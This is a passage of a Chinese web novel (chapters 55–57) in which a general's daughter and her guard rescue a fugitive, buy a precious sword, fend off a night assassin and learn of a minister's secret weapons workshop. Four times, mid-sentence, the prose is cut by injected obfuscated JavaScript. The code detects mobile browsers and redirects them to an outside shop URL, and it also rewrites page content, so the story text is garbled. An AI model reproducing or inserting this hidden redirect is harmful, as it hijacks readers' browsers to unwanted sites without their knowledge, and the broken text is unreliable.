那撞她的人连句抱歉都没说,已经改道往前跑了,兰亭见状不满地抱怨道:“这人可真没礼貌,撞到人了也不道歉。” “没事。”黎书意无所谓地摆摆手,想着那人估计是有急事。 脱离了谢烜赫的搀扶,她动手整理衣裳,却在抬手时发现袖口处沾上了血迹,她惊诧地拉起袖子,自己并未受伤,所以这血只能是刚才撞她的那人留下来的。 谢烜赫显然也注意到了,抿唇盯着那梅花一点的血迹。 三人正愣神之际,有三道人影从眼前飞快掠过,虽然因为动作极快,导致黎书意没看清人,但她无法忽视他们手上雪亮的剑刃,她当即变了脸色,明白自己这是撞到了追杀。 出门在外,身上又带了重任,此行她本不欲招惹麻烦的,可是眼下事情撞到了她跟前,她实难做到见死不救,一时便愣在原地不知如何是好。 谢烜赫洞悉了她的想法,率先开口道:“我去看看。” 说毕,快步走了。 深巷僻静,杀手才刚走没多久,依靠着灵敏的听觉,谢烜赫很快便赶上了他们的步伐,在转角的尽头他看见了那三名蒙面杀手,以及狼狈逃跑的年轻男子。 眼见三人距离那年轻男子只有几步之隔,其中一人手上的长剑就要刺到他的脊背,容不得犹豫,谢烜赫抬脚踢起近边的石子,石子最终打到那人手背上,剑便刺空了。 被打的杀手不悦地朝这边看来,眼神狠戾,出言威胁道:“想活命劝你少管闲事。” 谢烜赫充耳不闻,直接闪身挡在了那年轻男子跟前,见此情形,那名杀手冷声道:“既然如此,那我便成全你。” 说着,他持剑劈出,另一名杀手也加入其中,而第三名杀手则避开战局向前冲去,企图越过谢烜赫,然后对他身后的年轻男子下手。 谢烜赫见状,立时抬腿朝对打的两名杀手的下盘踢去,接着他后撤一步,再提剑横扫,挡住了前路。 担忧谢烜赫的情况,黎书意没有在原地等待,她追着谢烜赫的背影在巷子里跑。 等她赶到,正好撞见谢烜赫以一敌三,虽然她不会武功,但到底出身将门,她看得出这三位杀手的实力不俗,尽管谢烜赫的武艺远在他们之上,可是一对三对他很不利。 想到这,她不住地转过头往身后瞧,刚刚她已经让兰亭去叫毕定边了。 本就焦急万分,回头时又见谢烜赫的佩剑在挡招时被其中一名杀手给砍断了,剑刃直接划到了手臂上,看着另一柄接近的剑,她的心瞬时提到了嗓子眼。 好在谢烜赫反应够快,他钳制住后一位袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545713|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击他的杀手的胳膊,通过借力打力避过了攻击,接着他直接从那名杀手手中夺下了剑,继续迎战。 “叮铃当啷”的响声在人迹罕至的小巷里格外清晰,黎书意的心被那一声声撞击牵动着,她不时转头,在两个方向来回看。 感觉过了很久,身后终于传来兰亭上气不接下气的声音,她欣喜地转过头,看见兰亭带着毕定边奔来,毕定边话不多说,快步上前加入到混战当中。 那三名杀手在与谢烜赫打斗途中受了不同程度的伤,此时又再添一员高手,他们眼见打不过,视线不甘地在他们二人,以及身后的年轻男子身上,看了一会,然后愤愤然转身逃了。 待人离开,黎书意急忙走到谢烜赫身边,拉起手查看他的伤口。 “只是皮外伤罢了。”谢烜赫云淡风轻道。 黎书意却是皱了眉,伤口的确不算太深,可这完全是没必要受的伤。 “二姑娘,这人该如何是好?”正在自责,耳边传来毕定边的询问。 她循声望过去,见年轻男子身上伤口无数,想着既然救都救了,那便送佛送到西吧,先帮忙处理了伤口,等人醒了,再给点银子将人送走。 出了这样的意外,黎书意没了逛街的心思,遂吩咐毕定边将少年抬到马车上。 由于少年身份不明,又是被追杀的人,黎书意不敢明目张胆带到医馆救治,斟酌良久,最终选择把人带回姚府。 为避人耳目,她让毕定边将马车停在后门,守后门的下人见到她有点惊讶,她未多解释,只问外祖母在何处。 下人回说外祖母正在佛堂里念经,于是她便没有前去打扰,直接打发近边的侍女去请张大夫。 张大夫是郡里的医师,他的医馆虽不大,也没什么名气,但他医术精湛,为人良善,姚家人的病都是他诊治的,比较信得过。 请完医师,毕定边从车上将少年抬进来,另一名侍女见了惊叫一声,黎书意向她解释:“这人是我在路上遇见救下的,等会我自会同外祖母解释,你只管做自己的事就行。” 侍女知道表姑娘心地善良,对这来历不明深受重伤的男子虽然害怕,但到底还是点头听从了安排,将大门合上,她去做自己的事了。 年轻男子被毕定边抬到西屋厢房,放躺在床上等待医师的救治。 这时,常夏暄又想起谢烜赫的伤,因着周围人多口杂,她不便亲自上手,便吩咐毕定边,让他帮忙替谢烜赫处理手臂上的剑伤。 不多会,侍女带着张大夫来了,进到屋中,张大夫看了眼床上的年轻男子,然后转向黎书意,黎书意解释说是路边救的。 张大夫未再多问,走至床边开始替男子处理伤口,男女有别,黎书意不好再待下去,于是便回避了,只站在门外等待。 候了半个时辰,门终于开了,她重新回到屋中,只见床边的铜盆里满是沾了血的布条,清水已经浸染成红色,屋子里弥漫着一股浓烈的药膏味,男子身上缠了不少纱布。 张大夫诊治完了,走到她跟前道:“命算是保住了,接下来只要按方子服药,再好好休养两月便可痊愈。” “谢谢张大夫。”黎书意感激地说。 张大夫点点头,旋即抬眼看她,犹豫了一会,还是说道:“这年轻人身上鞭痕剑伤无数,几乎没有一块完好的皮肤,背景恐怕很复杂,老朽劝黎姑娘还是快些将人送走,免得沾上麻烦。” 这点黎书意早就想到了,感激张大夫的好意提醒,便回说:“我知道,等他醒了我就送他走。” 55. 买剑 送走了张大夫,兰亭拿着药方去抓药,黎书意则招来两名侍卫,叮嘱他们好生照看着年轻男子,要他们等人醒了,即刻前来禀报。 抬眸望一眼黯淡的天色,此时快申时了,正是外祖母用晚膳的时候,打点完一切,她便朝着东屋走去,今天的事还是有必要和外祖母说一声。 踏入东屋正厅,见食案刚巧摆上来,外祖母人坐在食案边,看她进来了,笑说:“听陈妈讲,你出去逛街啦。” 黎书意轻点下头,一面走近,一面回道:“在首饰铺瞧见两只精巧的手炉,想着寒冬将至,便买下来准备送与父兄。” “你有心了。”听见外孙女的话,孟氏笑意盈盈道,接着话头一转问,“对了,听说方才张大夫来府里了?” 黎书意正欲开口,见外祖母率先提起,遂顺话答道:“逛街时遇见了一个受重伤的少年,瞧着可怜,于是便顺手救了。” 说罢,稍作停顿,又赶忙补充:“外祖母莫忧心,待明日他苏醒了,我即刻将他送走。” 孟氏闻言慈爱地笑了,“你是心善,我又岂会怪罪于你。” “谢外祖母成全。” 黎书意话音刚落,几个丫头抬着饭菜进来,她从一人手中接过饭碗和筷子,夹了几样外祖母喜欢的菜到碗里,然后端到她面前。 …… 次日清晨,梳洗一毕,黎书意便往厢房去了,走到门口她问负责照料的侍卫:“他的情况如何?” 侍卫答:“回二姑娘,人还没醒。” 她皱了眉,她并不想惹上麻烦,只希望赶快了结这件事。 抬手推门进去,她站在门内侧往床上扫去,见男子虽然脸无血色,唇色发白,但依据那微微起伏的被子,便知他气息尚存,不由放下心来,大约是伤的太重了,只能再等等看了。 “记得按时给他换药。”对侍卫叮嘱了一句,她不做过多的停留,退出了房间。 离开房间,她直往前走,去隔壁找谢烜赫,走至门口,见门是开着的,便径自进去了。 站在门边抬眼一扫,看见谢烜赫坐在榻上,他将右手搭在小几上,旁边放着一根带血的纱布。 黎书意走上前去,视线落到谢烜赫受伤的右臂上,昨日查看时她只瞧见一道一指长的血痕,现在却是皮肉有些外翻,患处结痂,看起来活像一条爬动的蜈蚣。 将出门前便拿在手里的白瓷瓶放到小几上,“这个给你,消肿祛疤的,等伤口快好时可以用。” 看了眼白瓷瓶,谢烜赫抬眼望着来人道:“只是小伤,不用在意。” “收着吧,多一条疤痕不如少一条。” 见她坚持,谢烜赫便不再推辞,低下头继续将金疮药抹在干净的白纱布上,抹好后,他把纱布覆在伤口上,准备包扎。 浓郁的药味在空气中弥漫,由于伤口在右臂上,谢烜赫一个人并不好操作,黎书意见状便主动道:“我来吧。” 说着,她走上前一步,然后微微倾身,拿起抹了药膏的纱布。 谢烜赫配合地将手臂递到黎书意面前,看着她动作轻柔地替自己包扎,少女长睫投下一层阴影,身上淡淡的芬芳窜入鼻间。 “好了。”给纱布打好结,黎书意放下手,刚直起身子,不曾防头竟然撞到一个硬物,她发出一声闷哼,抱怨地看着罪魁祸首。 “谁让你抬头前不知会一声。”谢烜赫摸着被撞痛的下巴望她。 黎书意不满地回击:“我哪知道你靠得那么近。” 言毕,觉得这话有点暧昧,便偷眼观察对面人的反应,见谢烜赫的嘴角含着一丝浅浅的笑意,那双凤眸清澈明亮,她猝不及防被这抹难得一见的微笑撞晃了心池。 再待不下去,她决定离开,走前道:“你这两日就别活动了,待会儿我让厨房给你送乌鸡汤过来。” 说完,一溜烟走了。 看着离开的倩影,谢烜赫从鼻子里发出一声愉悦的轻笑,祛疤膏还有乌鸡汤,他手上的伤真的不严重,还不及逃亡时的万分之一,哪用得着她这般紧张。 出了门黎书意站在廊下,她捂着自己心跳加速的胸口,懊恼自己居然被谢烜赫的笑容给蛊惑了,真是疯了。 “二姑娘,您不舒服吗?”兰亭走过来,面露不解地看着她家二姑娘捂着胸口的手。 “哦,”黎书意赶紧放下手,掩饰地说道,“没事。” 兰亭没太在意,接着问:“二姑娘今天还去书院吗?” “不去。” “那您是想待在家里?” “不,我想去街上一趟。” “街上!”兰亭闻言提高了嗓音,两天前上街才刚遇见行刺,她现在都有阴影了,便忙问,“您要买什么吗?” “去买剑。” “剑?”兰亭露出疑惑的表情,她一边跟上步伐,一边好奇地问,“为何突然买剑?” 黎书意回道:“买给时野的。” 昨天恶斗途中,谢烜赫断剑的那一幕太过惊险,现在想起来她还心有余悸,刚才又瞧见了那道狰狞的伤口,所以便想着送一柄好剑给他。 他如今用的是最寻常的剑,质不够坚,刃不够利,对上一般的对手倒是足够,可若是对上高手就有点不够用了。 黎书意记得他从前傍身的剑名叫圣禹,嵌饰精美,削铁如泥,只是当他“坠崖死亡”以后这剑便被官府收敛了,如今恐怕正放在深宫里落灰呢。 身为一名普通侍卫,是用不起名剑的,只有自己送给他,他才可以用得名正言顺。 客郡盛产铁,冶炼技术纯熟,这里大大小小的兵器铺有很多,其中有口皆碑的是传承百年的欧记兵器铺,她兄长的仁卢剑便是自己画了图纸,然后在这锻造的。 欧记兵器铺位于大阳街左侧,楼高两层,面阔五间,房顶飞檐翘角,悬挂着欧字旌旗,到了地方,黎书意领着兰亭走进店里。 “这位姑娘是要买兵器吗?”伙计看着面前的女子不确信地问道,女子身段纤弱,不像是会功夫的样子。 黎书意不责怪他无礼的打量,点头道:“嗯,我要买剑。” “请往这边走。”伙计说着引她往右边走。 只见面前立着一排落地剑架,卡槽上摆满了各式各样的剑器,长短厚薄不一,柄柄银光闪闪。 黎书意虽不是匠人,可家里有两个爱刀枪剑戟的人,府库里神兵利器无数,耳濡目染,倒也锻炼出一些眼力,眼前的这些只能算是中上品。 将目光从剑架上移开,她对伙计说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545714|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把你们店里最好的剑拿上来给我看看。” “这……”伙计迟疑了,虽然这位顾客身穿华服,可到底是位姑娘,那些剑又动辄万金。 这时,走过来一中年男子,他身材结实,长着国字脸,眉眼间含着两分正气,他看了一眼黎书意,接下招待的工作,笑道:“客人请随我来。” 黎书意知道这是铺子的掌柜,便跟着他去了二楼靠里的一间屋子,走进去见里面陈列着五柄剑,每一柄都雕饰精致,寒光凛冽。 “姑娘看哪一柄比较合您心意?” 闻言,黎书意走近了细细挑选起来,最终选了一柄饰有珠玉,刻有日月星辰和山川河流的剑。 掌柜看见了,向她介绍起来:“姑娘好眼力,这剑名曰斩霄,是用千年寒铁锻造而成,剑上的七彩珠和九华玉也是珍品。” “就这柄吧,多少?”她问价。 “一千五百两。” “什么?一千五百两!”说话的是兰亭,她实在难以想象一柄剑竟然这么贵。 给时侍卫买剑她并不反对,她知道昨日时侍卫因断剑而受伤了,可是挑柄成色差不多的就行了,也不必送如此贵重的吧。 “二姑娘,换一柄吧。”她劝道。 黎书意也没想到这剑竟然如此贵,但是她没有更换的打算,只是她身上带的钱显然不够。 “就这柄。” “好。”掌柜做成了生意,露出欣喜的笑容。 看二姑娘真打算买,兰亭继续劝道:“他只是一个普通的侍卫,这剑都快赶上去年您送少将军的生辰礼物了。” 知道兰亭心里不平衡,不过这剑比起谢烜赫送她的首饰来说却又微不足道了,于是黎书意便说:“这也是为了我的安全着想。” 这话一出,兰亭再劝不了,只能作罢。 黎书意笑了笑,接着对掌柜道:“我今日出来身上没带这么多钱,是否可以写个凭信给你,一会儿你可靠凭信去姚府去取钱。” “姚府!”掌柜闻言惊了,他知道姚府只有孟老夫人和姚书颜祖孙二人,想到刚才听见侍女提起了少将军,他立刻猜出眼前人的身份,便问,“姑娘莫不是黎大将军之女?” “正是。” 得到肯定的回答,掌柜激动无比,连忙道:“既如此,凭信便不用写了。” 掌柜的反应黎书意并不十分意外,父亲是西景大将,自然是所有崇武的人敬重的对象。 “我这就让人将剑送到车上。” “有劳了。” 很快,一个身强力壮的伙计走了过来,将剑小心放入剑匣,然后抱起来朝外走。 东西已经买到,黎书意也不多待,带着兰亭下楼,在拐角处又碰见了掌柜,他正在训斥一个二十出头的年轻男子。 只言片语飘进耳朵里,只听见掌柜道:“逆子,你这么做不仅是把我欧家百年的基业给毁了,还会给家里带来灾祸。” “父亲想太多了,咱们欧记未来只会更好。” 黎书意走前本想向他道谢的,见父子争执,她一个外人出现不太好,于是便作罢了。 剑匣已经放入马车中,此行的目的已经达到,她上车落座,家中还有一个重伤昏迷的陌生男子,不宜在外多待。 56. 夜刺 回到姚府,黎书意让毕定边抱上剑匣,然后径直往西屋而去。 进若兮院以后,她先让兰亭去房里拿银票,再支使一名小厮跑腿,去欧记兵器谱支付买剑钱。 待人离开了,她招来照顾年轻男子的侍卫问话,得到的回答依旧是人还未醒来,都到了这地步,她也只能等下去了。 叹了口气,她继续朝前走,来到谢烜赫屋前,看了眼毕定边怀中的剑匣,她伸手推开房门,有点期待谢烜赫收到剑的反应。 午间,闲来无事,谢烜赫正坐在房里看书,忽听见门被推开,他抬头看过去,然后就瞧见喜笑颜开的黎书意,嘟着嘴的兰亭,以及抱着长匣的毕定边。 他当即放下书从容起身,走到黎书意跟前问:“二姑娘找我何事?” 黎书意唇角微勾,并未答言,而是指着不远处的空条桌道:“东西就放那吧。” 毕定边遵命,抬着长匣走到条桌旁,将它轻轻搁到桌上。 黎书意走上前去,伸手打开了匣盖,接着回身望向谢烜赫。 谢烜赫往匣中望去,见里头是一柄三尺长剑,剑鞘雕饰精美,他面露诧异,将目光从宝剑上移到少女脸上,问:“给我的?” 少女点头。 “为何突然送我剑?” “你的剑昨日不是断了嘛。” 回答得理所当然,可看着那闪光的宝石,他不禁道:“可也用不着送那么好的。” 黎书意早猜到面前这人可能会因为东西贵重而迟疑,毕竟他们的关系还没好到豪掷千金的地步,可是她就是觉得他那身武艺便该配一柄好剑。 为了让人心安理得接下礼物,她只能拿出刚才说服兰亭的那一套说辞,冠冕堂皇地说:“给你就收着,你是我的贴身侍卫,我可不希望再出现像昨日那样断剑的情况。” 说毕,她瞟一眼谢烜赫,观察他的反应。 这个小表情并没逃过谢烜赫的眼睛,理由显然不是她说的这样,估计是因自己受伤而愧疚,既如此,他便不再推脱,顺着台阶说道:“那卑职便谢过二姑娘,卑职定会用它尽力护卫好您的安全。” 嗯?黎书意闻言挑眉,这回答未免太一本正经了,听得她有些难为情,将这奇怪的感觉驱散,她催促道:“这剑太重我提不动,还未试过,你来试试趁不趁手?” “好。”谢烜赫点头。 说毕,他走至条桌前,从剑架上拿起剑来,然后横剑缓缓抽开,剑鞘与剑身刮擦发出清脆悦耳的轻吟,露出霜雪似的亮刃。 “如何?”黎书意期待地问。 虽知道这剑必是神兵利器,但她是按自己的眼缘挑选的,也不知是否适合他。 谢烜赫回:“很称手,也很锋利。” 黎书意点头,看来这份礼物应当是合心意的。 “二姑娘要不要我舞剑给您看?” 舞剑?提起这个,她不禁回想起他刚回孟章时她命令他舞剑的事,他这样问肯定是在逗自己呢,虽知他剑法卓绝身姿飘逸,欣赏的趣味不比歌舞少,不过现下还是算了吧。 “你手上还有伤,把伤口养好再说。”她摆手道。 …… 时已三更,夜色如墨一般浓稠,天上只零星缀着几颗星子,四下阗无人声。 谢烜赫还未入睡,他正仰面躺在床上想事情,今天黎书意出门之后他也紧跟着出去了,借着去换药的由头,去了医馆一趟,然后又转到了祈安阁在客郡的据点,与东区的分堂主方天见了一面。 交流的结果是派出的两位卧底还未传出任何消息,因此,他仍然无从得知城郊丰沙村药厂里那位同样卧底的神秘人到底是何方派来的。 保险起见,他只能先命阁里的人在郡里偏远的地方探查,看能不能找到有价值的线索。 轻叹口气,他的思绪转到了旁边房里昏死的年轻男子身上,这人背后肯定隐藏着秘密,不管是什么他都无欲关注,只盼着他能早些醒来,不要给姚府沾上麻烦。 正想着,耳边传来轻微的响动,作为一个生命时刻受威胁的人,他对任何不寻常的动静都有着极强的感知力。 “咔擦咔擦!”声音在逐渐接近,他很快意识到这是有人在瓦片上行走所发出的声响,不由神色一凛。 于是,他放轻了动作,从床上悠悠起身,小心拿起放在床头几案上的斩霄剑,悄无声息地移步到门边,侧耳倾听外面的动静。 伴随着一道轻微的“吱呀”声,他听见旁边房门被打开了,看来是冲着那个年轻男子来的。 原来他们早就被对方盯上了,不管是何原因,那人不能在姚府里出事,一个不知身份的人死在府中可不是什么好事。 思及此,他出了房间,当他走到旁边房间门口时,那名刺客已经到了年轻男子床边。 他当即拔出手中剑,蹑步直朝着对方刺过去,那刺客反应十分迅速,听见动静便急转过身匆忙抵挡,剑锋相击,发出“呛啷”的脆响,在鸦雀无闻的半夜显得尤为清晰。 黎书意好梦正酣,耳边却叮叮当当响成一片,她被吵醒,便迷迷糊糊地睁开眼睛。 眨眼的同时,耳边的声音越发清晰起来,再仔细听,发现动静是从外面传来的,她猛地清醒过来,顾不得许多,直接下床披上外袍便往门边走去。 “时侍卫,那是谁?”说话的人是毕定边,他睡梦中听见刀剑声,便马上穿了衣服赶出来。 “刺客。” 正房内,听了两人的对话,黎书意直接打开门,走到廊下见谢烜赫和毕定边持剑站在院子里,年轻男子休息的房间门口大敞着,她急切问道:“刺客呢,那人可有事?” “逃了,人无事。”谢烜赫说。 听见回答,她顿时松了口气。 这时,住在跨院的另外几个侍卫也都醒了,他们纷纷提剑赶来。 “你,还有你,”谢烜赫从中点了两个人道,“今晚,你们守在门口。” 吩咐完了,他转向黎书意,见她连身上的衣服都未完全扣好,显是着急忙慌出来的,于是柔声安抚道:“已经没事了,你快些回去睡觉吧。” 黎书意面露迟疑,刚发现有刺客潜入,她如何能睡得着,便不安地问:“我是不是给外祖母招来麻烦了?” “我会查清楚,你别担心。”谢烜赫轻言细语地说,“快去睡吧。” 看了眼把守在房门口的侍卫,以及黑沉沉的夜色,黎书意最终还是回房了,毕竟眼下她什么也做不了。 重新躺回到床上,她盯着帐顶陷入思考,外祖母如今上年纪了,她绝不能有任何闪失,不管那人明日醒不醒,他都不能再待在姚府了,还是把他送客栈吧。 翌日,黎书意还睡意朦胧时,被兰亭给叫醒了,她拉开帐帘,告诉说:“二姑娘,那男子醒了!” 闻言,原本困倦的黎书意直接从床上惊坐起来,忙问:“真的?何时?” “听毕侍卫说差不多是天亮的时候。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545715|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于醒了,黎书意心里顿时松了一口气,昨夜她还在担忧要如何安置这人,如今他醒得刚好,她这便先去问问他的情况,然后再商量一下将他送至客栈休养的事。 因急于与男子见面,她只随意梳洗了一番,就往厢房去了。 走出房门没几步,见谢烜赫正迎面而来,两人刚巧在男子所住房门口遇上,谢烜赫问她:“你来看他?” 黎书意点头,接着她推门而入,往里侧一扫,见男子果然已经起身了,此刻正坐在桌边东张西望,打量着陌生的环境。 听到门响,他朝门口看来,发现了他们,急忙站起来向黎书意躬身道谢:“多谢姑娘相救。” “不必客气,你身子虚弱,还是快些坐着吧。”黎书意说着朝里走去,然后在他对面坐下来,谢烜赫则侍立在旁。 洗净脸上的脏污,换下破烂的衣服,她发现对面这男子长得挺端正清秀,打量了一会,她问:“你叫什么名字?” 男子道:“齐君屹。” 这名字起得不错,不像是没机会读书识字的贫农和奴仆会取的,黎书意对他的好奇心更添了几分。 似是被她审视的目光盯得不自在,年轻男子眉目低垂,面上看起来格外拘谨,一副防御的模样。 为了姚府的安全,有些事黎书意不得不问,于是主动打开话题道:“公子可听说昨夜有人潜入府中行刺的事了?” 话落,见男子眼神闪躲,并不答话。 她继续往下说:“我本无意关心你的私事,但是为了府中的安全不得不问,所以我想知道,你是遇上了什么麻烦吗,那些人为何追你?” 齐君屹捏着杯子的手一点点握紧,他的确遇上了麻烦,而且还不小,但是他不能说。 从进门的那一刻起,谢烜赫便一直在观察齐君屹,眼下见他如此反应,便知他的背后必然隐藏着巨大的秘密。 昨夜,对付完了刺客,他回房躺到床上,因睡意已经彻底被拂去,他便睁着眼想事情,原本不打算在这个年轻男子身上浪费心神的,但是担心会给姚府招致祸事,他对这人的身份与秘密起了细究的心思。 一个能被三名杀手追杀的逃奴,某个瞬间,他忽然福至心灵,想着这男子会不会与药厂有关联。 哪怕只有一丁点的可能,也需得试上一试,于是他出言试探道:“我看你身上鞭痕无数,手上全是老茧,是否是大户人家外逃的奴隶?” 话甫一出口,见齐君屹瞳孔骤然一缩,脸上满是被说中了的惊讶和慌乱。 黎书意正在思索要如何让齐君屹吐露实情,听见谢烜赫的问话,她往斜后方望去,“外逃的奴隶”五个字让她瞬间明白了他这是在试探这人是否与梁甫的药厂有关。 她从没把两件事结合在一起,因为觉得那太过巧合了,梁甫一向谨小慎微,并不会轻易暴露出错处,可回忆了一下这两度追杀,再看齐君屹的反应,她觉得很有这个可能。 思及此,她的心情顿时激动起来,因着这到底只是猜测,又加上兹事体大,是以不敢表露出半分。 定了一定神,她想不管如何,首先都得让这人放下戒心,若是这人当真是从梁甫手下逃出来的,自己的父亲与梁甫是政敌,这是举朝皆知的,若他不是梁甫手下逃出来的,大将军的威慑力也是足够的。 忖度完了,她便开口道:“我叫黎书意,是当朝大将军黎横天之女,你若有任何冤屈困难,尽可以告知与我,或许我们可以一助。” 57. 逃奴 大将军之女……齐君屹惊讶地看着面前的明艳少女,从她华贵的装扮和优雅的举止来看,他早判断出她的身份定然很尊贵,可这个答案还是让他吃了一惊。 本打算死活不吐口的,可此刻心下却有些松动了,大将军正直英伟,在西景威望极高,他觉得他女儿的品行应当也不坏,她不是冒险救下了来历不明的自己吗? 况且,大将军和梁甫乃是政敌,自己手上恰好握有对手的把柄,何不适当透露些,这样既可以保证自己的生命安全,又能使诉求上达天听。 在脑中权衡了一番,他开了口:“我确实是一名外逃的奴隶。” 真是!黎书意的眼睛蓦地一亮,她急忙朝谢烜赫看去。 与黎书意对视了一眼,谢烜赫看向对面的人,循循善诱道:“即便是犯错的奴隶,主家一般也不会对下人痛下杀手,所以你到底犯了何大错?” “我并非犯错,只因我逃出来的地方比较特殊!”齐君屹激动地抬头反驳,眼睛里带上了怨恨与愤怒。 “如何特殊?” 听见问话,齐君屹迟疑了,他的视线在面前的两人身上逡巡着,良久,咽了一口口水,他下定了决心,神色认真地说:“因为我是从一个私人兵器作坊里逃出来的。” 从谢烜赫引导问话开始,黎书意就默默注视着齐君屹的一举一动,期待着他能吐出自己渴望的那个答案,然而结果实在出人意料。 私人兵器作坊,这几个字如同一柄巨大的铁锤,险些要将她敲晕过去。 西景对冶铸管控严格,尤其是铁,朝廷下设军器监,专门负责生产杀伤兵器和防护甲胄,客郡作为产铁大郡,郡里就有诸多官方作坊,是军械的主要产地。 当然,为方便普罗大众的生活需要,国内也有获得许可的民营作坊,但就那么几家,对用料监管严密,且每一件器具的生产与出售都登记造册,再说,里面的工匠锻造技艺超群,待遇优厚,很难有出逃的说法。 结合情况来看,齐君屹话里的意思是说有人在私造兵器,而私造兵器的用途只有那么一个,意图谋反。 呆愣许久,回过神后她望向谢烜赫,见那张万年沉着的脸上现出一丝愕然,显然也是被这句话给惊到了。 仅在瞬息之间,谢烜赫的心思百转千回,起先是失落,后来是惊讶,再后来他想到了另一个可能,又转为激荡,他迫切地问:“是谁的?” 屋子里本就安静,这话一说出来,更是鸦鹊无声了。 从自己吐露了兵器作坊的秘密开始,齐君屹便小心翼翼地观察着面前少男少女的神色。 谋反,这事一旦爆出,便是震荡朝廷的大事,更遑论是两个比自己还年轻的人呢,然而,接下来的只会让他们更加震惊。 这种机密情报原该和大将军当面说才对,只是他眼下已经到了穷途末路的地步,他需要确保自己的安全,否则一切都白搭。 半晌,在两人的注视下,他缓缓吐出了那两个字:“梁甫。” 言毕,他看到了两张震惊无比的脸,这是预料之中的,然而却没有他以为的惊慌失措,反而有种意气风发在。 齐君屹有些意外,但这想法一闪而逝,后来想着这位大将军之女对梁甫果然是痛恨非常的,他应该是赌对了,于是他那颗从苏醒就绷紧的心在此刻放松下来了。 梁甫,这个消息简直骇人听闻,黎书意压根不敢发出一丁点声音,他们原是来查梁甫私造禁药的,却没想到竟然得知他还私造兵器,他这是意图谋反啊! 真是踏破铁鞋无觅处,得来全不费功夫,自己这一救,居然获得了一个惊天秘密。 原来要谋反的人是你,梁甫! 谢烜赫感觉全身的血液都沸腾了,要扳倒梁甫并不容易,这些年他犯了无数大错小错,可皇帝睁一只眼,闭一只眼,处罚无关痛痒,他始终安然无恙。 侵吞钱粮、人口拐卖、私造药物……这些在一定程度上已经动了国之根本,他想着只要联合梁甫的政敌,再费一番心思,就一定能将他拉下台,现在看来不需要了。 意图谋反,没有一个君主能容忍臣子取而代之,况且是多疑的景帝呢,毕竟年初自己才亲身经历过,没有人比他更懂。 谢烜赫放在腿侧的手因为捏得太紧而泛白,以彼之道还失彼身,他在心里默念道:梁甫,你曾经以谋反罪构陷我的父亲,那么现在我就用同样的方法揭露你的罪行。 屋子里陷入长久的沉默,不止没有说话声,桌边的三人连动都没有动一下。 齐君屹在等待着听救命恩人做何打算,而黎书意和谢烜赫则在消化刚听到的密闻。 半晌,黎书意的身子方才动了动,说回现在的问题:“昨夜发生了那样的事,我本打算送你去客栈休养,现在看来是不行了,可是姚府似乎也不安全。” 齐君屹听罢,有些庆幸自己醒得及时,否则他可能躺在客栈床上昏睡的时候,便将神不知鬼不觉地死在仇人的刀下了。 “你觉得该如何是好?”拿不定主意,黎书意转向谢烜赫问道。 谢烜赫看了她和齐君屹一眼,说:“安原计划送他去客栈休养。” …… 结束惊心动魄的谈话,黎书意和谢烜赫离开房间,到了外面,她向在外把守的毕定边道:“吩咐院子里的人,不要向其他人透露他已经醒了的消息。” 毕定边点头称是。 在外面站了足有一刻钟,兰亭早等得心焦,昨晚她睡得熟,早上起来听说半夜有刺客欲图行刺,她吓得出了一身冷汗。 尽管没有造成实质伤害,可心怎么也安不下去,一时间焦头烂额,不知该怎么办才好,好在她很快被毕侍卫告知说人终于醒了,想着总算可以甩掉这个包袱了,她才慢慢放松下来。 此刻见二姑娘终于出来,她立马迎上前去,结果却见二姑娘神情凝重,她心里兀自猜测着,那人身上肯定有大麻烦,不由得神经又绷紧了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545716|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她十分忧心,他们是来这里探亲的,总共就带了十几名侍卫,纵使时野和毕定边武功高强,但是依旧很危险,如今大将军和少将军出征在外,若是二姑娘出事了,她该如何向他们交代。 她紧跟着二姑娘和时野的步伐前行,急于知道内情,可刚跟到门口,门槛都还未跨入,就听见二姑娘道:“兰亭,你在外面守着,不要让任何人靠近,我有事要和时野说。” 